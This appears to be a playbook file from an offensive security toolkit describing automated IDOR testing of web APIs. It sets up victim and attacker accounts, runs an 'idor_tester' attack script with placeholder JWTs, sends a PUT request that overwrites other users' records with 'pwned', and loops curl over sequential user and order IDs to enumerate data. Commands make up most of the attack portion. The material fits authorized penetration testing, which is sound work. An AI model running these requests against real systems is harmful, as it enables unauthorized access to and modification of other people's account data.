| name | attack-idor-automation |
| description | IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["idor","bac","access-control","web","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-639","CWE-284"] |
| chains_with | ["attack-jwt","attack-graphql"] |
| prerequisites | [] |
| severity_boost | {"attack-jwt":"JWT tamper + IDOR = full account takeover"} |
IDOR Automated Testing
Objective
Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.
Testing Methodology
Phase 1: Set Up Two Accounts
- Account A (victim) — owns resources being tested
- Account B (attacker) — tries to access Account A's resources
Phase 2: Automated Cross-Account Testing
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--json-output
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \
--method GET
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--method PUT \
--data '{"name":"pwned"}'
Phase 3: Manual Testing Patterns
Horizontal IDOR (same role, different user):
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER
for id in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id"
done